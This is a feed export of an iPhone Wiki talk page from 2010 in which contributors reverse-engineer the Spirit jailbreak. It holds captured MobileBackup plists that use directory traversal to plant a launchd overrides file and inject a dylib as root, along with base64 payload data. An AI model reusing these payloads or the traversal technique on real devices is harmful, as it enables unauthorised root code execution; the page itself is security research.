	aXN0IFBVQkxJQyAiLS8vQXBwbGUvL0RURCBQTElTVCAxLjAvL0VOIiAiaHR0cDovL3d3&lt;br /&gt;
	dy5hcHBsZS5jb20vRFREcy9Qcm9wZXJ0eUxpc3QtMS4wLmR0ZCI+CjxwbGlzdCB2ZXJz&lt;br /&gt;
	aW9uPSIxLjAiPgo8ZGljdD4KICAgIDxrZXk+Y29tLmFwcGxlLlNwcmluZ0JvYXJkPC9r&lt;br /&gt;
	ZXk+CiAgICA8ZGljdD4KICAgICAgICA8a2V5PkRpc2FibGVkPC9rZXk+CiAgICAgICAg&lt;br /&gt;
	PHRydWUvPgogICAgPC9kaWN0PgoKICAgIDxrZXk+Y29tLmFwcGxlLnRjcGR1bXAuc2Vy&lt;br /&gt;
	dmVyPC9rZXk+CiAgICA8ZGljdD4KICAgICAgICA8a2V5PktlZXBBbGl2ZTwva2V5Pgog&lt;br /&gt;
	ICAgICAgIDx0cnVlLz4KICAgICAgICA8a2V5PkxhYmVsPC9rZXk+CiAgICAgICAgPHN0&lt;br /&gt;
	cmluZz5jb20uYXBwbGUudGNwZHVtcC5zZXJ2ZXI8L3N0cmluZz4KICAgICAgICA8a2V5&lt;br /&gt;
	PlByb2dyYW1Bcmd1bWVudHM8L2tleT4KICAgICAgICA8YXJyYXk+CiAgICAgICAgICAg&lt;br /&gt;
	IDxzdHJpbmc+L3NiaW4vbGF1bmNoZDwvc3RyaW5nPgogICAgICAgIDwvYXJyYXk+CiAg&lt;br /&gt;
	ICAgICAgPGtleT5SdW5BdExvYWQ8L2tleT4KICAgICAgICA8dHJ1ZS8+CiAgICAgICAg&lt;br /&gt;
	PGtleT5MYXVuY2hPbmx5T25jZTwva2V5PgogICAgICAgIDx0cnVlLz4KICAgICAgICA8&lt;br /&gt;
	a2V5PlVzZXJOYW1lPC9rZXk+CiAgICAgICAgPHN0cmluZz5yb290PC9zdHJpbmc+CiAg&lt;br /&gt;
	ICAgICAgPGtleT5FbnZpcm9ubWVudFZhcmlhYmxlczwva2V5PgogICAgICAgIDxkaWN0&lt;br /&gt;
	PgogICAgICAgICAgICA8a2V5PkRZTERfSU5TRVJUX0xJQlJBUklFUzwva2V5PgogICAg&lt;br /&gt;
	ICAgICAgICA8c3RyaW5nPi92YXIvbW9iaWxlL01lZGlhL3NwaXJpdC9vbmUuZHlsaWI8&lt;br /&gt;
	L3N0cmluZz4KICAgICAgICA8L2RpY3Q+CiAgICA8L2RpY3Q+CjwvZGljdD4KPC9wbGlz&lt;br /&gt;
	dD4KCg==&lt;br /&gt;
	&amp;lt;/data&amp;gt;&lt;br /&gt;
	&amp;lt;dict&amp;gt;&lt;br /&gt;
		&amp;lt;key&amp;gt;DLFileAttributesKey&amp;lt;/key&amp;gt;&lt;br /&gt;
		&amp;lt;dict/&amp;gt;&lt;br /&gt;
		&amp;lt;key&amp;gt;DLFileDest&amp;lt;/key&amp;gt;&lt;br /&gt;
		&amp;lt;string&amp;gt;/tmp/stuff.1273860294&amp;lt;/string&amp;gt;&lt;br /&gt;
		&amp;lt;key&amp;gt;DLFileIsEncrypted&amp;lt;/key&amp;gt;&lt;br /&gt;
		&amp;lt;integer&amp;gt;0&amp;lt;/integer&amp;gt;&lt;br /&gt;
		&amp;lt;key&amp;gt;DLFileOffsetKey&amp;lt;/key&amp;gt;&lt;br /&gt;
		&amp;lt;integer&amp;gt;0&amp;lt;/integer&amp;gt;&lt;br /&gt;
		&amp;lt;key&amp;gt;DLFileSource&amp;lt;/key&amp;gt;&lt;br /&gt;
		&amp;lt;string&amp;gt;/tmp/stuff.1273860294&amp;lt;/string&amp;gt;&lt;br /&gt;
		&amp;lt;key&amp;gt;DLFileStatusKey&amp;lt;/key&amp;gt;&lt;br /&gt;
		&amp;lt;integer&amp;gt;2&amp;lt;/integer&amp;gt;&lt;br /&gt;
		&amp;lt;key&amp;gt;Path&amp;lt;/key&amp;gt;&lt;br /&gt;
		&amp;lt;string&amp;gt;Library/Preferences/SystemConfiguration/../../../../../var/db/launchd.db/com.apple.launchd/overrides.plist&amp;lt;/string&amp;gt;&lt;br /&gt;
		&amp;lt;key&amp;gt;Version&amp;lt;/key&amp;gt;&lt;br /&gt;
		&amp;lt;string&amp;gt;3.0&amp;lt;/string&amp;gt;&lt;br /&gt;
	&amp;lt;/dict&amp;gt;&lt;br /&gt;
&amp;lt;/array&amp;gt;&lt;br /&gt;
&amp;lt;/plist&amp;gt;&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Response:&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
&amp;lt;CFArray 00F73C30 [100B4070]&amp;gt; {&lt;br /&gt;
      type = immutable, count = 2, values = (&lt;br /&gt;
            0 : &amp;lt;CFString 00F73AE8 [100B4070]&amp;gt;{contents = &amp;quot;DLMessageProcessMessage&amp;quot;}&lt;br /&gt;
            1 : &amp;lt;CFBasicHash 00F73BE8 [100B4070]&amp;gt; {&lt;br /&gt;
                  type = immutable dict, count = 2, entries =&amp;gt;&lt;br /&gt;
                        0 : &amp;lt;CFString 00F73B68 [100B4070]&amp;gt;{contents = &amp;quot;BackupMessageTypeKey&amp;quot;} = &amp;lt;CFString 00F73BA0 [100B4070]&amp;gt;{contents = &amp;quot;BackupMessageRestoreReplyOK&amp;quot;}&lt;br /&gt;
                        1 : &amp;lt;CFString 00F73B30 [100B4070]&amp;gt;{contents = &amp;quot;BackupProtocolVersion&amp;quot;} = &amp;lt;CFString 00F74980 [100B4070]&amp;gt;{contents = &amp;quot;1.6&amp;quot;}&lt;br /&gt;
            } &lt;br /&gt;
      )&lt;br /&gt;
}&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
==== plist 3 - Upload .launchd_use_gmalloc====&lt;br /&gt;
Transmitted:&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
&amp;lt;?xml version=&amp;quot;1.0&amp;quot; encoding=&amp;quot;UTF-8&amp;quot;?&amp;gt;&lt;br /&gt;
&amp;lt;!DOCTYPE plist PUBLIC &amp;quot;-//Apple//DTD PLIST 1.0//EN&amp;quot; &amp;quot;http://www.apple.com/DTDs/PropertyList-1.0.dtd&amp;quot;&amp;gt;&lt;br /&gt;
&amp;lt;plist version=&amp;quot;1.0&amp;quot;&amp;gt;&lt;br /&gt;
&amp;lt;array&amp;gt;&lt;br /&gt;
	&amp;lt;string&amp;gt;DLSendFile&amp;lt;/string&amp;gt;&lt;br /&gt;
	&amp;lt;data&amp;gt;&lt;br /&gt;
	&amp;lt;/data&amp;gt;&lt;br /&gt;
	&amp;lt;dict&amp;gt;&lt;br /&gt;
		&amp;lt;key&amp;gt;DLFileAttributesKey&amp;lt;/key&amp;gt;&lt;br /&gt;
		&amp;lt;dict/&amp;gt;&lt;br /&gt;
		&amp;lt;key&amp;gt;DLFileDest&amp;lt;/key&amp;gt;&lt;br /&gt;
		&amp;lt;string&amp;gt;/tmp/stuff.1273860295&amp;lt;/string&amp;gt;&lt;br /&gt;
		&amp;lt;key&amp;gt;DLFileIsEncrypted&amp;lt;/key&amp;gt;&lt;br /&gt;
		&amp;lt;integer&amp;gt;0&amp;lt;/integer&amp;gt;&lt;br /&gt;
		&amp;lt;key&amp;gt;DLFileOffsetKey&amp;lt;/key&amp;gt;&lt;br /&gt;
		&amp;lt;integer&amp;gt;0&amp;lt;/integer&amp;gt;&lt;br /&gt;
		&amp;lt;key&amp;gt;DLFileSource&amp;lt;/key&amp;gt;&lt;br /&gt;
		&amp;lt;string&amp;gt;/tmp/stuff.1273860295&amp;lt;/string&amp;gt;&lt;br /&gt;
		&amp;lt;key&amp;gt;DLFileStatusKey&amp;lt;/key&amp;gt;&lt;br /&gt;
		&amp;lt;integer&amp;gt;2&amp;lt;/integer&amp;gt;&lt;br /&gt;
		&amp;lt;key&amp;gt;Path&amp;lt;/key&amp;gt;&lt;br /&gt;
		&amp;lt;string&amp;gt;Library/Preferences/SystemConfiguration/../../../../../var/db/.launchd_use_gmalloc&amp;lt;/string&amp;gt;&lt;br /&gt;
		&amp;lt;key&amp;gt;Version&amp;lt;/key&amp;gt;&lt;br /&gt;
		&amp;lt;string&amp;gt;3.0&amp;lt;/string&amp;gt;&lt;br /&gt;
	&amp;lt;/dict&amp;gt;&lt;br /&gt;
&amp;lt;/array&amp;gt;&lt;br /&gt;
&amp;lt;/plist&amp;gt;&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Response:&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
&amp;lt;CFArray 00F80D70 [100B4070]&amp;gt; {     &lt;br /&gt;
      type = immutable, count = 2, values = (&lt;br /&gt;
            0 : &amp;lt;CFString 00F73C60 [100B4070]&amp;gt;{contents = &amp;quot;DLMessageProcessMessage&amp;quot;} &lt;br /&gt;
            1 : &amp;lt;CFBasicHash 00F80D28 [100B4070]&amp;gt; {&lt;br /&gt;
                  type = immutable dict, count = 2, entries =&amp;gt;&lt;br /&gt;
                  0 : &amp;lt;CFString 00F7D4B0 [100B4070]&amp;gt;{contents = &amp;quot;BackupMessageTypeKey&amp;quot;} = &amp;lt;CFString 00F80CA8 [100B4070]&amp;gt;{contents = &amp;quot;BackupMessageRestoreFileReceived&amp;quot;}&lt;br /&gt;
                  2 : &amp;lt;CFString 00F80C70 [100B4070]&amp;gt;{contents = &amp;quot;BackupRestoreFileName&amp;quot;} = &amp;lt;CFString 00F80CF0 [100B4070]&amp;gt;{contents = &amp;quot;/tmp/stuff.1273764810&amp;quot;}&lt;br /&gt;
            } &lt;br /&gt;
      )&lt;br /&gt;
}&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
-[[User:EnohpiDesrever|EnohpiDesrever]] 16:11, 17 May 2010 (UTC)&lt;/div&gt;</summary>
		<author><name>EnohpiDesrever</name></author>
		
	</entry>
	<entry>
		<id>https://www.theiphonewiki.com/w/index.php?title=Talk:Spirit&amp;diff=6403</id>
		<title>Talk:Spirit</title>
		<link rel="alternate" type="text/html" href="https://www.theiphonewiki.com/w/index.php?title=Talk:Spirit&amp;diff=6403"/>
		<updated>2010-05-17T16:08:18Z</updated>

		<summary type="html">&lt;p&gt;EnohpiDesrever: /* More Reversings */ new section&lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;There exists also a tool called [[Spirit Fixer|Spirit Fixer v1.01]], written by [[Kirma]]. Anybody knows what that is? Here's a link: http://twitter.com/elior231/status/13296125900&lt;br /&gt;
&lt;br /&gt;
--[[User:Http|http]] 21:42, 4 May 2010 (UTC)&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
I'd love to see a technical writeup of everything, although I don't blame you if you don't. I'm lazy about those things too. As far as trying to keep it secret from Apple, I don't feel theres a point, they'll find it no matter what we do.&lt;br /&gt;
&lt;br /&gt;
--[[User:Geohot|geohot]] 14:02, 5 May 2010 (UTC)&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
I have started reverse engineering Spirit and making some UML(like) data flow and function diagrams. The problem is that I am guessing at too many things since I did not wana post anything and have someone get pissed it was out there. I am up for putting a formal brief together if others want to collaborate. I would imagine as Geohot said, that apple had this disassembled before the .tar was dry. Not to mention that they are not just looking for the exploit that was used (since they most likely had a whiteboard full of potentials during design) , they are looking for copyright violations and their stollen code in every bit of its bits.  &lt;br /&gt;
&lt;br /&gt;
--KodeSlinger 16:31, 5 May 2010 (UTC)&lt;br /&gt;
&lt;br /&gt;
Meh, as mentioned on spiritjb.com, once Apple has shown that they've fixed it, the source will be released anyway. - MuscleNerd&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
@MuscleNerd - I started working on it BS (Before Spirit :) ), to create a centralized location that dynamically maps (HW/FW/SW) physical and logical drawings together. My thought was something like this wiki on crack. Ideally to generate functional diagrams of the idevice that act as a starting point to link to more detailed sections pertaining to that functions exploits, related functions, and source code samples(or any other data). Since I am new to this community I have been trying to organize this data for my own brain, and thought others might use it. I will post some screen shots later. The more organized we are the easier it will be to exploit the next vulnerability. &lt;br /&gt;
--[[User:Viper911h|KodeSlinger]] 20:11, 5 May 2010 (UTC)&lt;br /&gt;
&lt;br /&gt;
Oh hah, cool :)  If you do that though, obviously you shouldn't go overboard and start publicly discussing variations of this that would help Apple close other holes yet to be exploited (it sounds like your well-versed enough to do that!) - MuscleNerd&lt;br /&gt;
&lt;br /&gt;
@MuscleNerd - Hah; yeah obviously cool kidz only lol --[[User:Viper911h|KodeSlinger]] 21:08, 5 May 2010 (UTC)&lt;br /&gt;
&lt;br /&gt;
== Reversing Spirit ==&lt;br /&gt;
&lt;br /&gt;
I just started reversing Spirit and thought I'd share what I learned so far in hopes of hearing more from others.&lt;br /&gt;
&lt;br /&gt;
Spirit.exe extracts a bunch of files into a temp directory as follows:&lt;br /&gt;
 &lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
+ Documents and Settings/&amp;lt;User&amp;gt;/Local Settings/spiritxxx&lt;br /&gt;
|&lt;br /&gt;
+ - dl&lt;br /&gt;
|   |&lt;br /&gt;
|   + - dl.exe&lt;br /&gt;
|&lt;br /&gt;
+ - igor&lt;br /&gt;
|   |&lt;br /&gt;
|   + - 2dcde0a77381d24b7c02ac0cf7f714434c4ccdcf.dylib&lt;br /&gt;
|   + - 3e404d11fcbd5486d3be2dd86ce21316e1854842.dylib&lt;br /&gt;
|   + - 74227c0021c5e12effb5bd3175eb469a8df0622e.dylib&lt;br /&gt;
|   + - b735701843456754988021d128c2671ee36d1b04.dylib&lt;br /&gt;
|   + - f6c17e934ba0ad477812de0b7cb019396d259d93.dylib&lt;br /&gt;
|   + - install&lt;br /&gt;
|   + - map.plist&lt;br /&gt;
|&lt;br /&gt;
+ - resources&lt;br /&gt;
    |&lt;br /&gt;
    + - 320x480.jpg&lt;br /&gt;
    + - 1024x768.jpg&lt;br /&gt;
    + - overrides.plist&lt;br /&gt;
    + - icon.ico&lt;br /&gt;
&amp;lt;/pre&amp;gt; &lt;br /&gt;
&lt;br /&gt;
Spirit.exe is simply a GUI wrapper for dl.exe, which does the heavy lifting and is written using the cross-platform library CoreFoundation.dll.  Dl.exe uses the iTunes DLL to get access to the iDevice, registering a callback function through AMDeviceNotificationSubscribe.  The callback function launches a thread, which uploads 4 files as follows:&lt;br /&gt;
&lt;br /&gt;
# One of the dylibs (depending on the iDevice version?) is uploaded as /var/mobile/Media/spirit/one.dylib&lt;br /&gt;
# The Mach-O ARM executable &amp;quot;install&amp;quot; is uploaded as /var/mobile/Media/spirit/install&lt;br /&gt;
# The Spirit.exe is uploaded as /var/mobile/Media/spirit/freeze.tar.xz&lt;br /&gt;
# One of the jpgs is uploaded as /var/mobile/Media/spirit/bg.jpg&lt;br /&gt;
&lt;br /&gt;
After the files are uploaded, the upload thread signals to the main thread that the files are ready.  The main thread then sends over two plists (shown at the end of the log below) via MobileBackup.&lt;br /&gt;
&lt;br /&gt;
As I've only just started looking at this, and I'm also new to the iPhone scene, I have lots of questions.&lt;br /&gt;
&lt;br /&gt;
# Is the MobileBackup interface documented anywhere?  Was it used in other jb tools before Spirit?&lt;br /&gt;
# Why is Spirit.exe uploaded to the iDevice as freeze.tar.xz?&lt;br /&gt;
# What purpose do map.plist and overrides.plist serve?&lt;br /&gt;
# What are the two plists sent at the end of the transfer, and how do they allow the &amp;quot;install&amp;quot; image to be executed?&lt;br /&gt;
# What does install do to provide an untethered solution?&lt;br /&gt;
&lt;br /&gt;
I'll post more as I learn, but it would be nice to hear if others have made more progress.&lt;br /&gt;
&lt;br /&gt;
-[[User:EnohpiDesrever|EnohpiDesrever]] 16:47, 14 May 2010 (UTC)&lt;br /&gt;
&lt;br /&gt;
# Don't think it's documented.&lt;br /&gt;
# Actually, freeze.tar.xz is tacked on to Spirit.exe, after the string 'magicmagicmagicm'.  xz is http://tukaani.org/xz/&lt;br /&gt;
# One maps firmware version to the dylib that should be uploaded.  The other is read by launchd.&lt;br /&gt;
# Just look at the contents of overrides.plist and the launchd source.  The nefarious part is actually getting that file in the appropriate directory.  (Note that overrides is only used for the initial install, because launchd spawns everything at once and the following solution ensures the exploit is run first.)&lt;br /&gt;
# By installing itself as /usr/lib/libgmalloc.dylib.  To quote saurik: &amp;quot;if you touch the file /var/db/.launchd_use_gmalloc, then the first thing launchd does is set DYLD_INSERT_LIBRARIES to /usr/lib/libgmalloc.dylib and restart itself&amp;quot;&lt;br /&gt;
&lt;br /&gt;
--[[User:Comex|Comex]] 22:54, 14 May 2010 (UTC)&lt;br /&gt;
&lt;br /&gt;
== More Reversings ==&lt;br /&gt;
&lt;br /&gt;
Thanks for your response, Comex, and thanks for the jailbreak!  Hope you don't mind me posting what I learn here.  I figure that Apple's got to be way ahead of my progress if they care at all to fix the vulnerability.  I have some more questions for you, if you don't mind, based on the MobileBackup dialogue I found in Spirit (see below).&lt;br /&gt;
&lt;br /&gt;
# What type of encoding is used to encode the overrides file that is uploaded?&lt;br /&gt;
# How is /tmp/stuff.1273860295 used to touch launchd_use_gmalloc?&lt;br /&gt;
# Is the crazy directory traversal (Library/Preferences/SystemConfiguration/../../../../../) necessary to circumvent security or just an artifact?&lt;br /&gt;
# The only reference I found to DYLD_INSERT_LIBRARIES in launchd was the following, and I don't see how it allows you to set DYLD_INSERT_LIBRARIES to your own library, though I do see how it executes libgmalloc.dylib.&lt;br /&gt;
&lt;br /&gt;
Extract from launchd.c&lt;br /&gt;
&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
135	        if (pid1_magic &amp;amp;&amp;amp; g_use_gmalloc) {&lt;br /&gt;
136	                if (!getenv(&amp;quot;DYLD_INSERT_LIBRARIES&amp;quot;)) {&lt;br /&gt;
137	                        setenv(&amp;quot;DYLD_INSERT_LIBRARIES&amp;quot;, &amp;quot;/usr/lib/libgmalloc.dylib&amp;quot;, 1);&lt;br /&gt;
138	                        setenv(&amp;quot;MALLOC_STRICT_SIZE&amp;quot;, &amp;quot;1&amp;quot;, 1);&lt;br /&gt;
139	                        execv(argv[0], argv);&lt;br /&gt;
140	                } else {&lt;br /&gt;
141	                        unsetenv(&amp;quot;DYLD_INSERT_LIBRARIES&amp;quot;);&lt;br /&gt;
142	                        unsetenv(&amp;quot;MALLOC_STRICT_SIZE&amp;quot;);&lt;br /&gt;
143	                }&lt;br /&gt;
144	        }&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
So, let me see if I understand the vulnerabilities that you are exploiting.  Launchd will load up the lib pointed to by the environment variable DYLD_INSERT_LIBRARIES.  You found a way to override that environment variable (via MobileBackup) to point to your own library (/var/mobile/Media/spirit/one.dylib).  You then installed your own patched version of /usr/lib/libgmalloc.dylib, which gets loaded everytime the device boots up.&lt;br /&gt;
&lt;br /&gt;
Below is the MobileBackup dialogue I extracted.&lt;br /&gt;
&lt;br /&gt;
==== plist 0 - Version Exchange ====&lt;br /&gt;
&lt;br /&gt;
Transmitted:&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
&amp;lt;?xml version=&amp;quot;1.0&amp;quot; encoding=&amp;quot;UTF-8&amp;quot;?&amp;gt;&lt;br /&gt;
&amp;lt;!DOCTYPE plist PUBLIC &amp;quot;-//Apple//DTD PLIST 1.0//EN&amp;quot; &amp;quot;http://www.apple.com/DTDs/PropertyList-1.0.dtd&amp;quot;&amp;gt;&lt;br /&gt;
&amp;lt;plist version=&amp;quot;1.0&amp;quot;&amp;gt;&lt;br /&gt;
&amp;lt;array&amp;gt;&lt;br /&gt;
	&amp;lt;string&amp;gt;DLMessageVersionExchange&amp;lt;/string&amp;gt;&lt;br /&gt;
	&amp;lt;string&amp;gt;DLVersionsOk&amp;lt;/string&amp;gt;&lt;br /&gt;
&amp;lt;/array&amp;gt;&lt;br /&gt;
&amp;lt;/plist&amp;gt;&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Response:&lt;br /&gt;
&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
&amp;lt;CFArray 00F72AE0 [100B4070]&amp;gt;{&lt;br /&gt;
        type = immutable, count = 3, values = (&lt;br /&gt;
                0 : &amp;lt;CFString 00F72A70 [100B4070]&amp;gt;{contents = &amp;quot;DLMessageVersionExchange&amp;quot; }&lt;br /&gt;
                1 : &amp;lt;CFNumber 00F80F08 [100B4070]&amp;gt;{value = +100, type = kCFNumberSInt64Type}&lt;br /&gt;
                2 : &amp;lt;CFNumber 00F72AB8 [100B4070]&amp;gt;{value = +0, type = kCFNumberSInt32Type}&lt;br /&gt;
        )&lt;br /&gt;
}&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
==== plist 1 - Restore Request ====&lt;br /&gt;
Transmitted:&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
&amp;lt;?xml version=&amp;quot;1.0&amp;quot; encoding=&amp;quot;UTF-8&amp;quot;?&amp;gt;&lt;br /&gt;
&amp;lt;!DOCTYPE plist PUBLIC &amp;quot;-//Apple//DTD PLIST 1.0//EN&amp;quot; &amp;quot;http://www.apple.com/DTDs/PropertyList-1.0.dtd&amp;quot;&amp;gt;&lt;br /&gt;
&amp;lt;plist version=&amp;quot;1.0&amp;quot;&amp;gt;&lt;br /&gt;
&amp;lt;array&amp;gt;&lt;br /&gt;
	&amp;lt;string&amp;gt;DLMessageProcessMessage&amp;lt;/string&amp;gt;&lt;br /&gt;
	&amp;lt;dict&amp;gt;&lt;br /&gt;
		&amp;lt;key&amp;gt;BackupManifestKey&amp;lt;/key&amp;gt;&lt;br /&gt;
		&amp;lt;dict&amp;gt;&lt;br /&gt;
			&amp;lt;key&amp;gt;AuthSignature&amp;lt;/key&amp;gt;&lt;br /&gt;
			&amp;lt;data&amp;gt;&lt;br /&gt;
			7ZSsx9DFT5h7/4rkU1uJJebKwbc=&lt;br /&gt;
			&amp;lt;/data&amp;gt;&lt;br /&gt;
			&amp;lt;key&amp;gt;AuthVersion&amp;lt;/key&amp;gt;&lt;br /&gt;
			&amp;lt;string&amp;gt;2.0&amp;lt;/string&amp;gt;&lt;br /&gt;
			&amp;lt;key&amp;gt;Data&amp;lt;/key&amp;gt;&lt;br /&gt;
			&amp;lt;data&amp;gt;&lt;br /&gt;
			PD94bWwgdmVyc2lvbj0iMS4wIiBlbmNvZGluZz0iVVRGLTgiPz4K&lt;br /&gt;
			PCFET0NUWVBFIHBsaXN0IFBVQkxJQyAiLS8vQXBwbGUvL0RURCBQ&lt;br /&gt;
			TElTVCAxLjAvL0VOIiAiaHR0cDovL3d3dy5hcHBsZS5jb20vRFRE&lt;br /&gt;
			cy9Qcm9wZXJ0eUxpc3QtMS4wLmR0ZCI+CjxwbGlzdCB2ZXJzaW9u&lt;br /&gt;
			PSIxLjAiPgo8ZGljdD4KCTxrZXk+QXBwbGljYXRpb25zPC9rZXk+&lt;br /&gt;
			Cgk8ZGljdC8+Cgk8a2V5PkRldmljZUlkPC9rZXk+Cgk8c3RyaW5n&lt;br /&gt;
			PmYzNjQ3OGI3OTUzYzZhZWFkMTlmOGYzMTZhZmIzYzBmNDg2YWMz&lt;br /&gt;
			OWI8L3N0cmluZz4KCTxrZXk+RmlsZXM8L2tleT4KCTxkaWN0PgoJ&lt;br /&gt;
			CTxrZXk+NjYxZjVhMTYyMTk1ODhjNmU4NDY3MzVjNjYzZmJlMzFl&lt;br /&gt;
			NWY4NGRhNTwva2V5PgoJCTxkaWN0PgoJCQk8a2V5PkRhdGFIYXNo&lt;br /&gt;
			PC9rZXk+CgkJCTxkYXRhPgoJCQlxZytPdnJUWXM0T1oxQjdZTFJS&lt;br /&gt;
			WURFbE82bDg9CgkJCTwvZGF0YT4KCQkJPGtleT5Eb21haW48L2tl&lt;br /&gt;
			eT4KCQkJPHN0cmluZz5Ib21lRG9tYWluPC9zdHJpbmc+CgkJCTxr&lt;br /&gt;
			ZXk+RmlsZUxlbmd0aDwva2V5PgoJCQk8aW50ZWdlcj45MjI8L2lu&lt;br /&gt;
			dGVnZXI+CgkJCTxrZXk+R3JvdXAgSUQ8L2tleT4KCQkJPGludGVn&lt;br /&gt;
			ZXI+MDwvaW50ZWdlcj4KCQkJPGtleT5Nb2RlPC9rZXk+CgkJCTxp&lt;br /&gt;
			bnRlZ2VyPjM4NDwvaW50ZWdlcj4KCQkJPGtleT5Nb2RpZmljYXRp&lt;br /&gt;
			b25UaW1lPC9rZXk+CgkJCTxkYXRlPjIwNjUtMDEtMTVUMTk6MDk6&lt;br /&gt;
			NDZaPC9kYXRlPgoJCQk8a2V5PlVzZXIgSUQ8L2tleT4KCQkJPGlu&lt;br /&gt;
			dGVnZXI+MDwvaW50ZWdlcj4KCQk8L2RpY3Q+CgkJPGtleT5iYTdl&lt;br /&gt;
			NDM1MzRjZDVhOThkZTA4MGU2MTQxYmVhZjVkYzAwNGFkMjM3PC9r&lt;br /&gt;
			ZXk+CgkJPGRpY3Q+CgkJCTxrZXk+RGF0YUhhc2g8L2tleT4KCQkJ&lt;br /&gt;
			PGRhdGE+CgkJCW1TWGRRNGlLZWQ3SFMvS3IyRWNPSFE0TEliST0K&lt;br /&gt;
			CQkJPC9kYXRhPgoJCQk8a2V5PkRvbWFpbjwva2V5PgoJCQk8c3Ry&lt;br /&gt;
			aW5nPkhvbWVEb21haW48L3N0cmluZz4KCQkJPGtleT5GaWxlTGVu&lt;br /&gt;
			Z3RoPC9rZXk+CgkJCTxpbnRlZ2VyPjA8L2ludGVnZXI+CgkJCTxr&lt;br /&gt;
			ZXk+R3JvdXAgSUQ8L2tleT4KCQkJPGludGVnZXI+MDwvaW50ZWdl&lt;br /&gt;
			cj4KCQkJPGtleT5Nb2RlPC9rZXk+CgkJCTxpbnRlZ2VyPjM4NDwv&lt;br /&gt;
			aW50ZWdlcj4KCQkJPGtleT5Nb2RpZmljYXRpb25UaW1lPC9rZXk+&lt;br /&gt;
			CgkJCTxkYXRlPjIwNjUtMDEtMTVUMTk6MDk6NDZaPC9kYXRlPgoJ&lt;br /&gt;
			CQk8a2V5PlVzZXIgSUQ8L2tleT4KCQkJPGludGVnZXI+MDwvaW50&lt;br /&gt;
			ZWdlcj4KCQk8L2RpY3Q+Cgk8L2RpY3Q+Cgk8a2V5PlZlcnNpb248&lt;br /&gt;
			L2tleT4KCTxzdHJpbmc+Ni4yPC9zdHJpbmc+CjwvZGljdD4KPC9w&lt;br /&gt;
			bGlzdD4K&lt;br /&gt;
			&amp;lt;/data&amp;gt;&lt;br /&gt;
			&amp;lt;key&amp;gt;IsEncrypted&amp;lt;/key&amp;gt;&lt;br /&gt;
			&amp;lt;integer&amp;gt;0&amp;lt;/integer&amp;gt;&lt;br /&gt;
		&amp;lt;/dict&amp;gt;&lt;br /&gt;
		&amp;lt;key&amp;gt;BackupMessageTypeKey&amp;lt;/key&amp;gt;&lt;br /&gt;
		&amp;lt;string&amp;gt;kBackupMessageRestoreRequest&amp;lt;/string&amp;gt;&lt;br /&gt;
		&amp;lt;key&amp;gt;BackupNotifySpringBoard&amp;lt;/key&amp;gt;&lt;br /&gt;
		&amp;lt;true/&amp;gt;&lt;br /&gt;
		&amp;lt;key&amp;gt;BackupPreserveCameraRoll&amp;lt;/key&amp;gt;&lt;br /&gt;
		&amp;lt;true/&amp;gt;&lt;br /&gt;
		&amp;lt;key&amp;gt;BackupProtocolVersion&amp;lt;/key&amp;gt;&lt;br /&gt;
		&amp;lt;string&amp;gt;3.0&amp;lt;/string&amp;gt;&lt;br /&gt;
	&amp;lt;/dict&amp;gt;&lt;br /&gt;
&amp;lt;/array&amp;gt;&lt;br /&gt;
&amp;lt;/plist&amp;gt;&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Response:&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
&amp;lt;CFArray 00F7BFB0 [100B4070]&amp;gt;{&lt;br /&gt;
        type = immutable, count = 1, values = (&lt;br /&gt;
                0 : &amp;lt;CFString 00F7BF78 [100B4070]&amp;gt;{contents = &amp;quot;DLMessageDeviceReady&amp;quot;}&lt;br /&gt;
        )&lt;br /&gt;
}&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
==== plist 2 - Upload Overrides ====&lt;br /&gt;
Transmitted:&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
&amp;lt;?xml version=&amp;quot;1.0&amp;quot; encoding=&amp;quot;UTF-8&amp;quot;?&amp;gt;&lt;br /&gt;
&amp;lt;!DOCTYPE plist PUBLIC &amp;quot;-//Apple//DTD PLIST 1.0//EN&amp;quot; &amp;quot;http://www.apple.com/DTDs/PropertyList-1.0.dtd&amp;quot;&amp;gt;&lt;br /&gt;
&amp;lt;plist version=&amp;quot;1.0&amp;quot;&amp;gt;&lt;br /&gt;
&amp;lt;array&amp;gt;&lt;br /&gt;
	&amp;lt;string&amp;gt;DLSendFile&amp;lt;/string&amp;gt;&lt;br /&gt;
	&amp;lt;data&amp;gt;&lt;br /&gt;
	PD94bWwgdmVyc2lvbj0iMS4wIiBlbmNvZGluZz0iVVRGLTgiPz4KPCFET0NUWVBFIHBs&lt;br /&gt;
	aXN0IFBVQkxJQyAiLS8vQXBwbGUvL0RURCBQTElTVCAxLjAvL0VOIiAiaHR0cDovL3d3&lt;br /&gt;
	dy5hcHBsZS5jb20vRFREcy9Qcm9wZXJ0eUxpc3QtMS4wLmR0ZCI+CjxwbGlzdCB2ZXJz&lt;br /&gt;
